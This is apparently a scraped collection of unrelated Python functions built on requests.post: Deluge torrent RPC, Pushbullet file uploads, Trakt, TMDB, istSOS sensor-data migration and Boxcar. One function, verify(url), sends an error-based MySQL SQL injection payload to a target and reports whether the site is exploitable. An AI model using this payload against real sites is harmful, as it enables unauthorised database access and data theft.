def removeTorrent(torrentid, remove_data=False): if not any(delugeweb_auth): _get_auth() result = False post_data = json.dumps({"method": "core.remove_torrent", "params": [ torrentid, remove_data ], "id": 25}) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) result = json.loads(response.text)['result'] return result
def pushFile(self, recipient, file_name, body, file, file_type=None, recipient_type="device_iden"): """ Push a file https://docs.pushbullet.com/v2/pushes https://docs.pushbullet.com/v2/upload-request Arguments: recipient -- a recipient file_name -- name of the file file -- a file object file_type -- file mimetype, if not set, python-magic will be used recipient_type -- a type of recipient (device, email, channel or client) """ if not file_type: import magic file_type = magic.from_buffer(file.read(1024)) file.seek(0) data = {"file_name": file_name, "file_type": file_type} upload_request = self._request("GET", HOST + "/upload-request", None, data) upload = requests.post(upload_request["upload_url"], data=upload_request["data"], files={"file": file}, headers={"User-Agent": "pyPushBullet"}) upload.raise_for_status() data = { "type": "file", "file_name": file_name, "file_type": file_type, "file_url": upload_request["file_url"], "body": body } data[recipient_type] = recipient return self._request("POST", HOST + "/pushes", data)
def http_request_post(url, payload, body_content_workflow=False, allow_redirects=allow_redirects): """ payload = {'key1': 'value1', 'key2': 'value2'} """ try: result = requests.post(url, data=payload, headers=headers, stream=body_content_workflow, timeout=timeout, proxies=proxies, allow_redirects=allow_redirects, verify=allow_ssl_verify) return result except Exception, e: # 返回空的requests结果对象 return __requests__.models.Response()
def _removeMovieFromWatchlist(self, username, password, apikey, movieList): url = self._makeURL(unwatchlistMovieURL, apikey, "") traktMovieList = [] for movie in movieList: traktMovieList.append({'tmdb_id': movie.additionalData['tmdb_id'], 'imdb_id': movie.additionalData['imdb_id'] }) log.info('Removing movies from trakt watch list %s' % movieList) postdata = {'movies': traktMovieList, 'username': username, 'password': self._hash(password)} try: r = requests.post(url, data=json.dumps(postdata)) try: return r.json()['status'] == 'success' except ValueError: return False except: return False
def pushFile(self, recipient, file_name, body, file, file_type=None, recipient_type="device_iden"): """ Push a file https://docs.pushbullet.com/v2/pushes https://docs.pushbullet.com/v2/upload-request Arguments: recipient -- a recipient file_name -- name of the file file -- a file object file_type -- file mimetype, if not set, python-magic will be used recipient_type -- a type of recipient (device, email, channel or client) """ if not file_type: import magic file_type = magic.from_buffer(file.read(1024)) file.seek(0) data = {"file_name": file_name, "file_type": file_type} upload_request = self._request("GET", HOST + "/upload-request", None, data) upload = requests.post( upload_request["upload_url"], data=upload_request["data"], files={"file": file}, headers={"User-Agent": "pyPushBullet"}, ) upload.raise_for_status() data = { "type": "file", "file_name": file_name, "file_type": file_type, "file_url": upload_request["file_url"], "body": body, } data[recipient_type] = recipient return self._request("POST", HOST + "/pushes", data)
def _add_torrent_file(result): logger.debug('Deluge: Adding file') if not any(delugeweb_auth): _get_auth() try: # content is torrent file contents that needs to be encoded to base64 post_data = json.dumps({"method": "core.add_torrent_file", "params": [result['name'] + '.torrent', b64encode(result['content'].encode('utf8')), {}], "id": 2}) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) result['hash'] = json.loads(response.text)['result'] print response print response.text logger.debug('Deluge: Response was %s' % str(json.loads(response.text)['result'])) return json.loads(response.text)['result'] except Exception as e: logger.error('Deluge: Adding torrent file failed: %s' % str(e)) formatted_lines = traceback.format_exc().splitlines() logger.error('; '.join(formatted_lines))
def _request(method, path, params={}, json_body={}): url = TMDB.url + '/' + path + '?api_key=' + TMDB.api_key if method == 'GET': headers = {'Accept': 'application/json'} content = requests.get(url, params=params, headers=headers, verify=False).content elif method == 'POST': for key in params.keys(): url += '&' + key + '=' + params[key] headers = {'Content-Type': 'application/json', \ 'Accept': 'application/json'} content = requests.post(url, data=json.dumps(json_body), headers=headers, verify=False).content elif method == 'DELETE': for key in params.keys(): url += '&' + key + '=' + params[key] headers = {'Content-Type': 'application/json', \ 'Accept': 'application/json'} content = requests.delete(url, data=json.dumps(json_body), headers=headers, verify=False).content else: raise Exception('method: ' + method + ' not supported.') response = json.loads(content.decode('utf-8')) return response
def verify(url): """ 判断是否存在注入 :param url: 网站地址 :return: bool """ logger.process("Requesting target site") r = requests.post( url, data={ "gids[99]": "'", "gids[100][0]": ") and (select 1 from (select count(*" "),concat(version(),floor(rand(0)*2))" "x from information_schema.tables gro" "up by x)a)#", }, timeout=5, ) r.close() if "MySQL Query Error" in r.text: logger.success("Exploitable!") return True
def _get_auth(): logger.debug('Deluge: Authenticating...') global delugeweb_auth, delugeweb_url delugeweb_auth = {} delugeweb_host = lazylibrarian.DELUGE_HOST delugeweb_password = lazylibrarian.DELUGE_PASS if not delugeweb_host.startswith('http'): delugeweb_host = 'http://%s' % delugeweb_host if delugeweb_host.endswith('/'): delugeweb_host = delugeweb_host[:-1] delugeweb_host = "%s:%s" % (delugeweb_host, lazylibrarian.DELUGE_PORT) delugeweb_url = delugeweb_host + '/json' post_data = json.dumps({"method": "auth.login", "params": [delugeweb_password], "id": 1}) try: response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) # , verify=TORRENT_VERIFY_CERT) except Exception as err: logger.debug('Deluge: auth.login returned %s' % err) return None auth = json.loads(response.text)["result"] delugeweb_auth = response.cookies post_data = json.dumps({"method": "web.connected", "params": [], "id": 10}) try: response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) # , verify=TORRENT_VERIFY_CERT) except Exception as err: logger.debug('Deluge: web.connected returned %s' % err) return None connected = json.loads(response.text)['result'] if not connected: post_data = json.dumps({"method": "web.get_hosts", "params": [], "id": 11}) try: response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) # , verify=TORRENT_VERIFY_CERT) except Exception as err: logger.debug('Deluge: web.get_hosts returned %s' % err) return None delugeweb_hosts = json.loads(response.text)['result'] if len(delugeweb_hosts) == 0: logger.error('Deluge: WebUI does not contain daemons') return None post_data = json.dumps({"method": "web.connect", "params": [delugeweb_hosts[0][0]], "id": 11}) try: response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) # , verify=TORRENT_VERIFY_CERT) except Exception as err: logger.debug('Deluge: web.connect returned %s' % err) return None post_data = json.dumps({"method": "web.connected", "params": [], "id": 10}) try: response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) # , verify=TORRENT_VERIFY_CERT) except Exception as err: logger.debug('Deluge: web.connected returned %s' % err) return None connected = json.loads(response.text)['result'] if not connected: logger.error('Deluge: WebUI could not connect to daemon') return None return auth
def execute (args): pp = pprint.PrettyPrinter(indent=2) try: istsos_version = args['istsos'] if 'istsos' in args else None debug = args['v'] test = args['t'] procs = args['p'] omit = args['o'] procedures = {} src = args['s'] dst = args['d'] srv = args['n'] appendData = False if 'a' in args: appendData = True dfrom = None dto = None if 'from' in args and type('') == type(args['from']): print "From: %s" % args['from'] dfrom = iso.parse_datetime(args['from']) appendData = None if 'to' in args and type('') == type(args['to']): print "To: %s" % args['to'] dto = iso.parse_datetime(args['to']) appendData = None registerOnly = args['r'] virtual = False hq = False # Executing request res = req.get("%s" % (src), params={ 'service': 'SOS', 'version': '1.0.0', 'request': 'GetCapabilities', 'section': 'contents' }, verify=False) # Parsing response gc, gcNs = parse_and_get_ns(StringIO(res.content)) # Extract all offerings elOfferings = gc.findall("{%s}Contents/{%s}ObservationOfferingList/{%s}ObservationOffering" % (gcNs['sos'],gcNs['sos'],gcNs['sos'])) for offering in elOfferings: offeringName = offering.find("{%s}name" % (gcNs['gml']) ).text.split(":")[-1] # For each offering get the procedures elProcs = offering.findall("{%s}procedure" % (gcNs['sos']) ) for p in elProcs: pname = p.get('{%s}href' % gcNs['xlink']) if ( type(procs) == type([]) and pname not in procs ) or ( type(omit) == type([]) and pname in omit ): continue #print pname procedures[pname] = Procedure(pname, offeringName, dst, srv) if virtual: procedures[pname].setSystemType('virtual') res = req.get("%s" % (src), params={ 'service': 'SOS', 'version': '1.0.0', 'request': 'DescribeSensor', 'outputFormat': 'text/xml;subtype=\'sensorML/1.0.0\'', 'procedure': pname }, verify=False) ds, dsNs = parse_and_get_ns(StringIO(res.content)) #print res.content #print "Root: %s" % ds.getroot().tag if ds.getroot().tag == 'ExceptionReport': print "Error on DS for %s" % pname continue #print "Outputs found: %s" % len(elDescribe) observedProperties = [] print "istsos_version: ", istsos_version uniqidurn = 'urn:ogc:def:parameter:x-ist::' if istsos_version != None and istsos_version == '2': uniqidurn = 'urn:ogc:def:parameter:x-ist:1.0:' elFields = ds.findall("{%s}member/{%s}System/{%s}outputs/{%s}OutputList/{%s}output/{%s}DataRecord/{%s}field" % ( dsNs['sml'],dsNs['sml'],dsNs['sml'],dsNs['sml'],dsNs['sml'],dsNs['swe'],dsNs['swe']) ) print "Observed properties (v2): %s " % len(elFields) for fs in elFields: print fs.get('name') if fs.get('name') != 'Time': observedProperties.append(fs.find("{%s}Quantity" % (dsNs['swe'])).get('definition').replace(uniqidurn,'')) else: elDescribe = ds.findall("member/{%s}System/{%s}outputs/{%s}OutputList/{%s}output" % (dsNs['sml'],dsNs['sml'],dsNs['sml'],dsNs['sml']) ) print "Observed properties: %s " % len(elDescribe) for ds in elDescribe: definition = ds.find("{%s}ObservableProperty" % (dsNs['swe'])).get('definition').replace(uniqidurn,'') #print definition if definition.find('time:iso8601')<0: observedProperties.append(definition) print { 'service': 'SOS', 'version': '1.0.0', 'request': 'GetObservation', 'offering': offeringName, 'responseFormat': 'text/xml;subtype=\'sensorML/1.0.0\'', 'procedure': pname, 'observedProperty': ",".join(observedProperties) } res = req.get("%s" % (src), params={ 'service': 'SOS', 'version': '1.0.0', 'request': 'GetObservation', 'offering': offeringName, 'responseFormat': 'text/xml;subtype=\'sensorML/1.0.0\'', 'procedure': pname, 'observedProperty': ",".join(observedProperties) }, verify=False) go, goNs = parse_and_get_ns(StringIO(res.content)) if go.getroot().tag == 'ExceptionReport': print "Error on GO for %s:\nparams:%s\n%s" % (pname,{ 'service': 'SOS', 'version': '1.0.0', 'request': 'GetObservation', 'offering': offeringName, 'responseFormat': 'text/xml;subtype=\'sensorML/1.0.0\'', 'procedure': pname, 'observedProperty': ",".join(observedProperties) },res.content) continue # Extracting begin and end position begin = go.find("{%s}member/{%s}Observation/{%s}samplingTime/{%s}TimePeriod/{%s}beginPosition" % ( goNs['om'], goNs['om'], goNs['om'], goNs['gml'], goNs['gml']) ) end = go.find("{%s}member/{%s}Observation/{%s}samplingTime/{%s}TimePeriod/{%s}endPosition" % ( goNs['om'], goNs['om'], goNs['om'], goNs['gml'], goNs['gml']) ) procedures[pname].begin = begin.text procedures[pname].end = end.text # Extracting Feature of Interest and coordinates foi = go.find("{%s}member/{%s}Observation/{%s}featureOfInterest" % ( goNs['om'], goNs['om'], goNs['om']) ) point = foi.find("{%s}Point" % ( goNs['gml']) ) if point == None: point = foi.find("{%s}FeatureCollection/{%s}location/{%s}Point" % ( goNs['gml'],goNs['gml'],goNs['gml']) ) coord = point.find("{%s}coordinates" % ( goNs['gml']) ).text.split(",") if len(coord) == 2: coord.append('0') procedures[pname].setFoi( foi.get('{%s}href' % gcNs['xlink']).split(":")[-1], point.get('srsName'), coord ) # Extracting UOM fields = go.findall("{%s}member/{%s}Observation/{%s}result/{%s}DataArray/{%s}elementType/{%s}DataRecord/{%s}field" % ( goNs['om'], goNs['om'], goNs['om'], goNs['swe'], goNs['swe'], goNs['swe'], goNs['swe']) ) for field in fields: if field.get('name')!='Time': qty = field.find("{%s}Quantity" % ( goNs['swe']) ) uom = field.find("{%s}Quantity/{%s}uom" % ( goNs['swe'],goNs['swe']) ) procedures[pname].addObservedProperty( field.get('name'), qty.get('definition').replace(uniqidurn,''), uom.get('code') ) if dfrom: begin = dfrom _begin = dfrom else: begin = iso.parse_datetime(procedures[pname].begin) _begin = iso.parse_datetime(procedures[pname].begin) if dto: end = dto else: end = iso.parse_datetime(procedures[pname].end) # ~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~ # REGISTRATION PROCESS # ~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~ # Check if procedure already exist res = req.get("%s/wa/istsos/services/%s/procedures/%s" % (dst,srv,pname), verify=False) if not res.json()["success"]: # Registering procedure to istSOS res = req.post("%s/wa/istsos/services/%s/procedures" % (dst,srv), data=json.dumps(procedures[pname].data) ) if not res.json()["success"]: #print json.dumps(procedures[pname].data) raise Exception("Registering procedure %s failed: \n%s" % (pname, res.json()["message"])) # Getting details (describe sensor) to get the assignedSensorId res = req.get("%s/wa/istsos/services/%s/procedures/%s" % (dst,srv,pname)) # Getting an InsertObservation template template = procedures[pname].getIoTemplate() else: # Getting an InsertObservation template template = procedures[pname].getIoTemplate() try: if appendData and ('endPosition' in template['samplingTime']): procedures[pname].begin = template['samplingTime']['endPosition'] begin = iso.parse_datetime(template['samplingTime']['endPosition']) except Exception as exproc: print res.text raise exproc procedures[pname].oid = res.json()["data"]["assignedSensorId"] days = int(args['i']) interval = timedelta(days=int(days)) if not registerOnly: if virtual and hq: # ~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~ # VIRTUAL PROCEDURE CODE INITIALIZATION # ~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~ pass else: # ~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~ # PROCEDURE OBSERVATIONS MIGRATION # ~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~ oOrder = [] passedLoops = 0 lastPrint = "" startTime = time.time() print "%s: %s - %s" % (pname, procedures[pname].begin, procedures[pname].end) if begin<end and begin+interval>end: interval = end-begin while (begin+interval)<=end: loopTotalTime = time.time() nextPosition = begin + interval passedLoops = passedLoops+1 t = float(calendar.timegm(end.utctimetuple())-calendar.timegm(_begin.utctimetuple())) t1 = float(calendar.timegm(nextPosition.utctimetuple())-calendar.timegm(_begin.utctimetuple())) try: percentage = round((t1/t)*100,2) except: percentage = 0 if percentage > 100: percentage = 100 lastPrint = "%s > %s%% (%s / %s %s days)" % ("\b"*len(lastPrint),percentage, begin.strftime(fmtshort), nextPosition.strftime(fmtshort), days) looptime = time.time() # GetObservation from source SOS params={ 'service': 'SOS', 'version': '1.0.0', 'request': 'GetObservation', 'eventTime': '%s/%s' % ( begin.strftime(fmt), nextPosition.strftime(fmt)), 'qualityIndex': 'True', 'offering': offeringName, 'responseFormat': 'text/xml;subtype=\'sensorML/1.0.0\'', 'procedure': pname, 'observedProperty': ",".join(observedProperties) } try: res = req.get("%s" % (src), params=params, verify=False) except Exception: res = req.get("%s" % (src), params=params, verify=False) gotime = timedelta(seconds=int(time.time() - looptime)) if gotime > timedelta(seconds=int(10)): if days > 1: days = int(days/2) if days <= 1: days = 1 interval = timedelta(days=days) elif gotime < timedelta(seconds=int(5)): days = days + 1 interval = timedelta(days=days) lastPrint = "%s - GO: '%s'" % (lastPrint, gotime) go, goNs = parse_and_get_ns(StringIO(res.content)) if len(oOrder)==0: fields = go.findall("{%s}member/{%s}Observation/{%s}result/{%s}DataArray/{%s}elementType/{%s}DataRecord/{%s}field" % ( goNs['om'], goNs['om'], goNs['om'], goNs['swe'], goNs['swe'], goNs['swe'], goNs['swe']) ) for field in fields: oOrder.append(qty.get('definition').replace('urn:ogc:def:parameter:x-ist::','')) values = go.find("{%s}member/{%s}Observation/{%s}result/{%s}DataArray/{%s}values" % ( goNs['om'], goNs['om'], goNs['om'], goNs['swe'], goNs['swe']) ) if values.text: rows = values.text.strip().split("@") lastPrint = "%s " % (lastPrint) copy = [] for row in rows: copy.append(row.split(",")) # InsertObservation to istSOS template['result']['DataArray']['values'] = copy template['samplingTime'] = { "beginPosition": copy[0][0], "endPosition": nextPosition.strftime(fmt) } '''template['samplingTime'] = { "beginPosition": begin.strftime(fmt), "endPosition": nextPosition.strftime(fmt) }''' template[u"AssignedSensorId"] = procedures[pname].oid looptime = time.time() res = req.post("%s/wa/istsos/services/%s/operations/insertobservation" % ( dst, srv ),data = json.dumps({ u"AssignedSensorId": procedures[pname].oid, u"ForceInsert": u"true", u"Observation": template })) iotime = timedelta(seconds=int(time.time() - looptime)) lastPrint = "%s - IO: '%s'" % (lastPrint, iotime) begin = nextPosition if begin<end and begin+interval>end: interval = end-begin if percentage < 100: lastPrint = "%s - Step time: '%s' - Elapsed: %s " % ( lastPrint, timedelta(seconds=int(time.time() - loopTotalTime)), timedelta(seconds=int(time.time() - startTime)) ) else: lastPrint = "%s - Step time: '%s' " % ( lastPrint, timedelta(seconds=int(time.time() - loopTotalTime)) ) sys.stdout.write(lastPrint) sys.stdout.flush() print " > Completed in %s" % timedelta(seconds=int(time.time() - startTime)) break except Exception as e: print "ERROR: %s\n\n" % e traceback.print_exc()
def _sendSubscribtion(self, email): payload = {'email': email} r = requests.post('http://boxcar.io/devices/providers/%s/notifications/subscribe' % XDM_BOXCAR_PROVIDER_KEY, payload) return r.status_code == requests.codes.ok